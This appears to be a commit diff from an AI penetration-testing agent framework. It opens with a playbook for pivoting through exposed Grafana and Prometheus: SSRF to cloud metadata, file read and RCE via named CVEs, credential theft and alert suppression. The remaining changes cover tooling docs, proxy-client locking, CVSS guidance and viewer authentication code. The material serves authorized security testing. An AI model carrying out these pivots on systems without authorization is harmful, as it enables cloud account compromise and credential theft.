3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
+17
View File
@@ -365,6 +365,23 @@ agent-browser dialog accept "text" # accept with prompt input
agent-browser dialog dismiss # cancel
```
## Readiness & recovery
The first `agent-browser open` in a session launches the headless-Chrome
daemon; later commands reuse it. Distinguish the two failure modes and react
differently — do **not** blindly re-run the same failing command in a loop:
- **Daemon / connection failure** (`Failed to connect`, `connection refused`,
socket missing, `browser not running`): the daemon isn't up or has died. Run
`agent-browser doctor` (add `--fix` if it reports repairable problems), then
re-open the page. Retrying the original command unchanged will keep failing.
- **Malformed command** (`Unknown command`, `Ref not found`, bad flag): fix the
command itself — re-snapshot for fresh refs, or correct the syntax.
Invoke `agent-browser` directly through `exec_command`; there is no need to wrap
it in an extra `sh -c "..."` / `bash -lc "..."` layer, which only adds shell
quoting and startup-file pitfalls.
## Diagnosing install issues
If a command fails unexpectedly (`Unknown command`, `Failed to connect`,
+18 -3
View File
@@ -24,7 +24,15 @@ High-signal flags:
- `-p, -parallelism <n>` concurrent input targets
- `-rl, -rate-limit <n>` request rate limit
- `-timeout <seconds>` request timeout
- `-ct, -crawl-duration <s|m|h|d>` maximum time to crawl the target
- `-retry <n>` retry count
- `-mdp, -max-domain-pages <n>` cap pages crawled per domain (default: unlimited)
- `-fsu, -filter-similar` collapse similar URLs (e.g. /users/123 and /users/456)
- `-fs, -field-scope <dn|rdn|fqdn|regex>` crawl scope (default `rdn` = root domain + ALL subdomains)
- `-f, -field <url|path|...>` emit only one field (e.g. `-f url` for a plain URL list)
- `-or, -omit-raw` omit raw request/response from JSONL output
- `-ob, -omit-body` omit response body from JSONL output
- `-mrs, -max-response-size <bytes>` cap per-response bytes read (default 4194304)
- `-ef, -extension-filter <list>` extension exclusions
- `-tlsi, -tls-impersonate` experimental JA3/TLS impersonation
- `-hl, -headless` enable hybrid headless crawling
@@ -37,13 +45,13 @@ High-signal flags:
- `-silent`, `-j, -jsonl`, `-o <file>` output controls
Agent-safe baseline for automation:
`mkdir -p crawl && katana -u https://target.tld -d 3 -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
`mkdir -p crawl && katana -u https://target.tld -d 3 -ct 10m -mdp 2000 -fsu -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
Common patterns:
- Fast crawl baseline:
`katana -u https://target.tld -d 3 -jc -silent`
- Deeper JS-aware crawl:
`katana -u https://target.tld -d 5 -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Deeper JS-aware crawl (narrowed target; keep it time-bounded):
`katana -u https://target.tld -d 5 -ct 15m -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Multi-target run with JSONL output:
`katana -list urls.txt -d 3 -jc -silent -j -o katana.jsonl`
- Headless crawl with local Chrome:
@@ -59,6 +67,13 @@ Critical correctness rules:
- For `-kf`, keep depth at least `-d 3` so known files are fully covered.
- If writing to a file, ensure parent directory exists before `-o`.
Keeping output small (katana has NO default page cap, so plan for volume):
- Bound scope and volume: `-fs fqdn` (or `-cs`/`-cos` regex) so the crawl doesn't wander across every subdomain, `-mdp <n>` to cap pages per domain, `-fsu` to collapse near-identical URLs, and `-ct`/`-d` to bound time and depth.
- Shrink each record: default JSONL is verbose. If you only need endpoints, emit a plain URL list with `-f url` instead of `-j`. If you need JSONL, drop the heavy parts with `-or` (omit raw) and `-ob` (omit body), and lower `-mrs` to cap per-response bytes.
- Reserve `-jsl` / `-kf all` / higher `-d` for a specific narrowed target — they multiply output fast on large sites.
- Reduce, then delete: once the crawl finishes, extract just what you need (e.g. `katana ... -f url -o urls.txt` or `sort -u` a URL list, or a short note of interesting paths) and remove the raw crawl file/dir. Don't keep large raw crawls around after you've distilled them.
- Sanity-check size (`du -sh <out>`); if it's outsized for the scope, tighten `-fs`/`-mdp`/`-fsu`/`-d`/`-ct` and re-run rather than keeping it.
Usage rules:
- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs.
- Use `-ef` early to reduce static-file noise before fuzzing.
+17 -8
View File
@@ -7,9 +7,9 @@ description: Run Python through exec_command in the SDK sandbox. Use the image-b
Use `exec_command` for Python. There is no separate Strix Python executor.
Prefer writing reusable scripts to `/workspace/scratch/<name>.py` and
running them with `python3 /workspace/scratch/<name>.py`. For short
one-off transformations, `python3 -c` or a small here-document is fine.
Prefer writing reusable scripts to a `.py` file and running them with
`python3 <name>.py`. For short one-off transformations, `python3 -c` or a
small here-document is fine.
The `shell` parameter on `exec_command` is for swapping POSIX shells
(`bash`/`zsh`/`sh`), not for picking interpreters. Put the interpreter
@@ -84,17 +84,26 @@ automatically, so it shows up in `list_requests` and you can use
For iterative exploit work, put code in a file:
```text
1. Create or edit `/workspace/scratch/exploit.py` with `apply_patch`.
2. Run it with `exec_command`: `python3 /workspace/scratch/exploit.py`.
1. Create or edit a task-unique script (e.g. `poc_<task-id>.py`, so it can't
clobber a project file or another agent's script) with `apply_patch`.
2. Run it with `exec_command`: `python3 poc_<task-id>.py`.
3. Edit and rerun until the proof-of-concept is reliable.
```
## Installing extra packages
The sandbox's Python lives in `/app/.venv`. To add a one-off dependency
for an exploit script, use `uv` (already in the image and much faster
than pip):
The sandbox's Python lives in `/app/.venv`, and it is the active virtualenv
(`python3` / `pip` already resolve to it). The following common libraries are
**pre-installed** — import them directly, no install step needed:
`requests`, `httpx`, `beautifulsoup4` (`bs4`), `lxml`, `pyjwt` (`jwt`),
`cryptography`.
To add a one-off dependency for an exploit script, use `uv` (already in the
image and much faster than pip):
```bash
uv pip install --python /app/.venv/bin/python <package>
```
Plain `pip install <package>` also works because the venv is active. Install
before you import, so scripts don't fail with `ModuleNotFoundError`.
+38
View File
@@ -142,6 +142,44 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
)
def viewer_opened(source: str, live: bool) -> None:
_send(
"viewer_opened",
{
**base_props(),
"source": source,
"live": live,
},
)
def viewer_cta_clicked(cta: str, surface: str | None = None) -> None:
props = {
**base_props(),
"cta": cta[:64],
}
if surface:
props["surface"] = surface[:64]
_send("viewer_cta_clicked", props)
_VIEWER_EMAIL_STEPS = frozenset(
{"email_submitted", "email_verified", "report_sent", "work_email_required"}
)
def viewer_email_event(step: str, purpose: str | None = None) -> None:
if step not in _VIEWER_EMAIL_STEPS:
return
_send(
f"viewer_{step}",
{
**base_props(),
**({"purpose": purpose} if purpose else {}),
},
)
def error(error_type: str) -> None:
props = {**base_props(), "error_type": error_type}
_send("error", props)
+15 -4
View File
@@ -229,7 +229,8 @@ async def wait_for_message( # noqa: PLR0911
Use when you have nothing useful to do until a child/peer responds
typically after spawning subagents and you want to wait for
their completion reports. The agent automatically resumes when any
message arrives.
message arrives, so pick a ``timeout_seconds`` proportional to the
work you're awaiting.
**Critical caveats:**
@@ -246,9 +247,19 @@ async def wait_for_message( # noqa: PLR0911
reason: One-line note shown in graph snapshots while you're
waiting (helps a human or sibling agent debug who's stuck
on what).
timeout_seconds: Hard cap (default 600s). On timeout the tool
returns and you decide whether to keep working or wait
again.
timeout_seconds: Max seconds to wait (default 600). This is only
a cap the tool returns the INSTANT a message arrives, so a
larger value never makes you wait longer when the reply does
come. Right-size it to what you're waiting on: a short wait
(e.g. 10-60s) for a quick ack or a small/fast subtask, and a
longer one (e.g. ~100-200s) only for genuinely long-running
work (deep recon, exploitation, a full sub-scan). The cap only
bites when the expected message never arrives so an oversized
timeout on a trivial wait just strands you idle until it
elapses. On timeout the tool returns and you decide whether to
keep working or wait again. (Applies to autonomous multi-agent
runs; in interactive/chat sessions the agent instead parks until
a message arrives and this cap is not enforced.)
"""
inner = _ctx(ctx)
coordinator = coordinator_from_context(inner)
+113 -40
View File
@@ -21,6 +21,8 @@ from caido_sdk_client.types import (
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client as CaidoClient
@@ -42,6 +44,7 @@ _SITEMAP_PAGE_SIZE = 30
_DEFAULT_CAIDO_URL = "http://127.0.0.1:48080"
_CLIENT_CACHE: dict[str, Client] = {}
_CLIENT_LOCK = asyncio.Lock()
_REQ_FIELD_MAP: dict[SortBy, tuple[str, str]] = {
"timestamp": ("req", "created_at"),
"host": ("req", "host"),
@@ -81,19 +84,46 @@ def _login_as_guest() -> str:
return str(payload["data"]["loginAsGuest"]["token"]["accessToken"])
async def get_client() -> Client:
if client := _CLIENT_CACHE.get("default"):
return client
async def _new_client() -> Client:
token = await asyncio.to_thread(_login_as_guest)
client = Client(caido_url(), auth=TokenAuthOptions(token=token))
await client.connect()
_CLIENT_CACHE["default"] = client
return client
async def get_client() -> Client:
"""Return the shared Caido client, creating it under a lock if needed.
The lock prevents two concurrent callers from each building a client and
racing ``connect()`` on the same transport ("Transport is already
connected").
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return client
async def call_with_client[T](fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized through ``_CLIENT_LOCK``.
The Caido GraphQL transport is not safe for concurrent use: two in-flight
requests race and raise "Transport is already connected". Serializing every
proxy call through the lock prevents that.
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return await fn(client)
async def close_client() -> None:
client = _CLIENT_CACHE.pop("default", None)
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.pop("default", None)
if client is None:
return
await client.aclose()
@@ -137,6 +167,9 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -157,7 +190,16 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
if body and "Content-Length" not in {k.title() for k in final_headers}:
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
lines = [f"{method.upper()} {path} HTTP/1.1"]
@@ -385,19 +427,23 @@ async def list_requests(
sort_order: SortOrder = "desc",
scope_id: str | None = None,
) -> Any:
return await list_requests_with_client(
await get_client(),
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
return await call_with_client(
lambda client: list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
)
async def view_request(request_id: str, *, part: RequestPart = "request") -> Any:
return await get_request_with_client(await get_client(), request_id, part=part)
return await call_with_client(
lambda client: get_request_with_client(client, request_id, part=part)
)
async def repeat_request(
@@ -406,22 +452,26 @@ async def repeat_request(
modifications: dict[str, Any] | None = None,
) -> dict[str, Any]:
mods = modifications or {}
result = await get_request_with_client(await get_client(), request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(await get_client(), raw=raw, connection=connection)
async def _run(client: CaidoClient) -> dict[str, Any]:
result = await get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(client, raw=raw, connection=connection)
return await call_with_client(_run)
async def scope_rules(
@@ -432,7 +482,28 @@ async def scope_rules(
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
client = await get_client()
async def _run(client: CaidoClient) -> Any:
return await _scope_rules_with_client(
client,
action,
allowlist=allowlist,
denylist=denylist,
scope_id=scope_id,
scope_name=scope_name,
)
return await call_with_client(_run)
async def _scope_rules_with_client(
client: CaidoClient,
action: ScopeAction,
*,
allowlist: list[str] | None = None,
denylist: list[str] | None = None,
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
if action == "list":
result = await scope_list(client)
elif action == "get":
@@ -651,18 +722,20 @@ async def list_sitemap(
page: int = 1,
page_size: int = _SITEMAP_PAGE_SIZE,
) -> dict[str, Any]:
return await list_sitemap_with_client(
await get_client(),
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
return await call_with_client(
lambda client: list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
)
)
async def view_sitemap_entry(entry_id: str) -> dict[str, Any]:
return await view_sitemap_entry_with_client(await get_client(), entry_id)
return await call_with_client(lambda client: view_sitemap_entry_with_client(client, entry_id))
__all__ = [
+74 -32
View File
@@ -2,6 +2,7 @@
from __future__ import annotations
import asyncio
import dataclasses
import json
import logging
@@ -19,6 +20,8 @@ logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client
from strix.tools.proxy.caido_api import (
@@ -38,12 +41,23 @@ else:
ScopeAction = Literal["get", "list", "create", "update", "delete"]
# All agents in a scan share one host-side Caido client whose GraphQL transport
# is not concurrency-safe (parallel calls raise "Transport is already
# connected"). Serialize every host-side proxy call through this lock.
_CAIDO_CALL_LOCK = asyncio.Lock()
def _ctx_client(ctx: RunContextWrapper) -> Client | None:
inner = ctx.context if isinstance(ctx.context, dict) else {}
return inner.get("caido_client")
async def _call[T](client: Client, fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized under ``_CAIDO_CALL_LOCK``."""
async with _CAIDO_CALL_LOCK:
return await fn(client)
def _to_tool_json(value: Any) -> Any:
"""Recursively convert SDK dataclasses/Pydantic objects to tool JSON values."""
if value is None or isinstance(value, str | int | float | bool):
@@ -146,14 +160,17 @@ async def list_requests(
return _no_client()
try:
connection = await caido_api.list_requests_with_client(
connection = await _call(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
lambda client: caido_api.list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
),
)
entries = []
@@ -249,7 +266,10 @@ async def view_request(
return _no_client()
try:
result = await caido_api.get_request_with_client(client, request_id, part=part)
result = await _call(
client,
lambda client: caido_api.get_request_with_client(client, request_id, part=part),
)
if result is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
@@ -364,15 +384,10 @@ async def repeat_request(
return _no_client()
mods = modifications or {}
try:
async def _do(client: Client) -> dict[str, Any] | None:
result = await caido_api.get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
return None
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = caido_api.parse_raw_request(raw_str)
@@ -384,7 +399,16 @@ async def repeat_request(
headers=modified["headers"],
body=modified["body"],
)
replay = await caido_api.replay_send_raw(client, raw=raw, connection=connection)
return await caido_api.replay_send_raw(client, raw=raw, connection=connection)
try:
replay = await _call(client, _do)
if replay is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
return _format_replay_tool_result(replay)
except Exception as exc: # noqa: BLE001
return _err("repeat_request", exc)
@@ -441,12 +465,15 @@ async def list_sitemap(
if client is None:
return _no_client()
try:
payload = await caido_api.list_sitemap_with_client(
payload = await _call(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
lambda client: caido_api.list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
),
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
@@ -472,7 +499,10 @@ async def view_sitemap_entry(
if client is None:
return _no_client()
try:
payload = await caido_api.view_sitemap_entry_with_client(client, entry_id)
payload = await _call(
client,
lambda client: caido_api.view_sitemap_entry_with_client(client, entry_id),
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
return _err("view_sitemap_entry", exc)
@@ -530,7 +560,7 @@ async def scope_rules(
try:
if action == "list":
scopes = await caido_api.scope_list(client)
scopes = await _call(client, caido_api.scope_list)
return json.dumps(
{"success": True, "scopes": [_to_tool_json(s) for s in scopes]},
ensure_ascii=False,
@@ -543,9 +573,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await caido_api.scope_get(client, scope_id)
scope = await _call(client, lambda client: caido_api.scope_get(client, scope_id))
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
)
if action == "create":
if not scope_name:
@@ -554,11 +586,16 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
scope = await _call(
client,
lambda client: caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
),
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
)
if action == "update":
if not scope_id or not scope_name:
@@ -570,11 +607,16 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
scope = await _call(
client,
lambda client: caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
),
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
)
if not scope_id:
return json.dumps(
@@ -582,7 +624,7 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
await caido_api.scope_delete(client, scope_id)
await _call(client, lambda client: caido_api.scope_delete(client, scope_id))
return json.dumps(
{
"success": True,
+24
View File
@@ -422,6 +422,30 @@ async def create_vulnerability_report(
"availability": "H"
}
**CVSS calibration** score the weakness you actually proved, not a
hypothetical worst case. Most over-rating comes from these mistakes:
- **Don't presuppose a separate compromise.** If exploitation
requires the attacker to already hold a victim secret (a stolen
session cookie/token, a leaked one-time link, intercepted traffic),
that acquisition is not free. Do not score it as
``privileges_required:N`` with ``attack_complexity:L`` as if
directly reachable, and do not rate a replay-of-captured-secret
issue High/Critical unless the *same* finding demonstrates a
concrete way to obtain that secret. Issues like a session that
survives logout or a replayable link are session-management /
defense-in-depth weaknesses usually Low/Medium on their own.
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
``I:H`` require proof of wide or systemic read/write. A single
user's data, a read-only information leak, or merely confirming
that an account / domain / software version *exists* (enumeration)
is ``C:L`` (often ``I:N``) not ``C:H``.
- **Model required position and interaction honestly.** An
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
or a required victim action is not guaranteed reflect it in
``attack_complexity`` / ``user_interaction`` instead of assuming the
ideal condition always holds.
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
``CWE-89``) no name, no parenthetical. Be 100% certain; if
unsure, use ``web_search`` to verify the ID before passing, or omit
+17
View File
@@ -5,6 +5,23 @@ invocation the agent makes (nmap, ffuf, agent-browser, python3, …) goes
through `exec_command`. `write_stdin` streams input to a still-running
process started by an earlier `exec_command` (for interactive prompts).
## `write_stdin` requires a TTY-backed process
`exec_command` runs each command in a fresh **non-interactive** shell (plain
pipes, no TTY) by default. `write_stdin` only works against a process that is
still running **and** was started with a PTY. The canonical sequence is:
```text
exec_command(cmd="python3", tty=true) # start a PTY-backed process
write_stdin(session_id=<id>, chars="print(1)\n")
```
Calling `write_stdin` on a command started with the default `tty=false`, or on
a process that has already exited, fails with
`stdin is not available for this process. Start the command with 'tty=true' in
'exec_command' before using 'write_stdin'.` Use `tty=true` for REPLs,
`ssh`/`nc`/`ftp`, `msfconsole`, or to deliver a Ctrl-C to a long-running job.
- **Implementation:** `agents.sandbox.capabilities.tools.shell_tool.ShellTool`
(in the upstream `agents` SDK)
- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
+12
View File
@@ -0,0 +1,12 @@
"""Local web viewer for Strix runs.
Serves a prebuilt single-page app that renders a run (live or finished) read
directly from the run's on-disk files. No cloud dependency, no file picker.
"""
from __future__ import annotations
from strix.viewer.server import serve
__all__ = ["serve"]
+251
View File
@@ -0,0 +1,251 @@
"""Viewer email verification state and the relay client.
The local viewer proxies email verification and encrypted-report delivery to
the Strix relay (``STRIX_APP_URL``). The browser never talks to the relay
directly, and the report password generated locally is never sent to it.
State lives in ``~/.strix/viewer-auth.json`` (0600). ``is_verified`` is a local
flag that unlocks browsing the run history list; the relay still enforces token
expiry when a report is actually sent.
"""
from __future__ import annotations
import base64
import contextlib
import json
import logging
import urllib.error
import urllib.request
from datetime import UTC, datetime
from pathlib import Path
from typing import Any
from strix.config.loader import load_settings
logger = logging.getLogger(__name__)
AUTH_PATH = Path.home() / ".strix" / "viewer-auth.json"
_OTP_TIMEOUT = 15
_SEND_TIMEOUT = 30
class RelayError(Exception):
"""A relay call failed. ``code`` is a stable, machine-readable reason."""
def __init__(self, code: str, message: str | None = None) -> None:
self.code = code
super().__init__(message or code)
# --- local state ------------------------------------------------------------
def read_auth() -> dict[str, Any] | None:
"""Return the stored ``{email, token, verified_at}`` record, or None."""
try:
data = json.loads(AUTH_PATH.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return None
if not isinstance(data, dict):
return None
email = data.get("email")
token = data.get("token")
if not isinstance(email, str) or not email or not isinstance(token, str) or not token:
return None
return data
def parse_expiry(raw: object) -> datetime | None:
"""Parse a relay ``expires_at`` value into an aware UTC datetime.
Accepts both ISO 8601 strings and epoch seconds (as a number or numeric
string) so a valid relay expiry is not misread as missing. Returns None only
when it is genuinely absent or unparseable; both the local gate (see
``is_verified``) and OTP verification (see ``otp_verify``) fail closed on such
values, matching the relay, which rejects a token with no valid expiry.
"""
if isinstance(raw, bool):
return None
if isinstance(raw, int | float):
return _from_epoch(raw)
if not isinstance(raw, str) or not raw:
return None
try:
return _from_epoch(float(raw))
except ValueError:
pass
try:
parsed = datetime.fromisoformat(raw.replace("Z", "+00:00"))
except ValueError:
return None
return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC)
def _expiry(record: dict[str, Any]) -> datetime | None:
"""The stored ``verified_at`` parsed to a datetime, or None if unusable."""
return parse_expiry(record.get("verified_at"))
def _from_epoch(seconds: float) -> datetime | None:
"""Epoch seconds → aware UTC datetime, or None if out of range."""
try:
return datetime.fromtimestamp(seconds, tz=UTC)
except (OverflowError, OSError, ValueError):
return None
def is_verified() -> bool:
"""True when a usable email + token record with a valid future expiry exists.
The expiry returned by OTP verification is enforced here so history stops
unlocking once the token lapses. It fails closed: a record whose expiry is
absent, blank, or unparseable requires re-verification rather than unlocking
forever, keeping the local gate in step with the relay (which rejects an
expired token on report send).
"""
record = read_auth()
if record is None:
return False
expiry = _expiry(record)
return expiry is not None and expiry > datetime.now(UTC)
def write_auth(email: str, token: str, verified_at: str) -> None:
"""Atomically persist the auth record with 0600 permissions."""
AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
payload = json.dumps({"email": email, "token": token, "verified_at": verified_at})
tmp = AUTH_PATH.with_suffix(".json.tmp")
tmp.write_text(payload, encoding="utf-8")
with contextlib.suppress(OSError):
tmp.chmod(0o600)
tmp.replace(AUTH_PATH)
with contextlib.suppress(OSError):
AUTH_PATH.chmod(0o600)
def forget() -> None:
"""Delete the stored auth record. No-op if it is absent."""
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
# --- relay client -----------------------------------------------------------
def _app_url() -> str:
return load_settings().viewer.app_url.rstrip("/")
def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]:
"""POST JSON to the relay. Returns (status, parsed body).
Raises RelayError("unavailable") for network/transport failures. HTTP
error responses (4xx/5xx) are returned as (status, body) for the caller to
map, not raised.
"""
url = f"{_app_url()}{path}"
body = json.dumps(payload).encode("utf-8")
request = urllib.request.Request( # noqa: S310 - fixed https relay URL
url,
data=body,
headers={"Content-Type": "application/json", "Accept": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310
return response.status, _parse_body(response.read())
except urllib.error.HTTPError as exc:
return exc.code, _parse_body(exc.read())
except (urllib.error.URLError, TimeoutError, OSError) as exc:
logger.warning("relay request to %s failed: %s", path, exc)
raise RelayError("unavailable") from exc
def _parse_body(raw: bytes) -> dict[str, Any]:
try:
data = json.loads(raw or b"{}")
except json.JSONDecodeError:
return {}
return data if isinstance(data, dict) else {}
def otp_start(email: str) -> None:
"""Ask the relay to email a verification code. Raises RelayError on failure."""
status, data = _post_json("/api/oss/otp/start", {"email": email}, timeout=_OTP_TIMEOUT)
if status == 200:
return
if status == 429:
raise RelayError("rate_limited")
if status == 400:
# The relay uses 400 both for a malformed address and, separately, to
# reject a free/personal email domain (it wants a work email).
if data.get("error") == "work_email_required":
raise RelayError("work_email_required")
raise RelayError("invalid_email")
raise RelayError("unavailable")
def otp_verify(email: str, code: str) -> dict[str, Any]:
"""Verify a code. Returns ``{token, email, expires_at}`` or raises RelayError."""
status, data = _post_json(
"/api/oss/otp/verify",
{"email": email, "code": code},
timeout=_OTP_TIMEOUT,
)
if status == 200 and isinstance(data.get("token"), str):
# A token with no usable expiry cannot unlock history locally (the gate
# fails closed), so treat such a response as a failed verification rather
# than reporting success and then leaving the user stuck unverified.
if parse_expiry(data.get("expires_at")) is None:
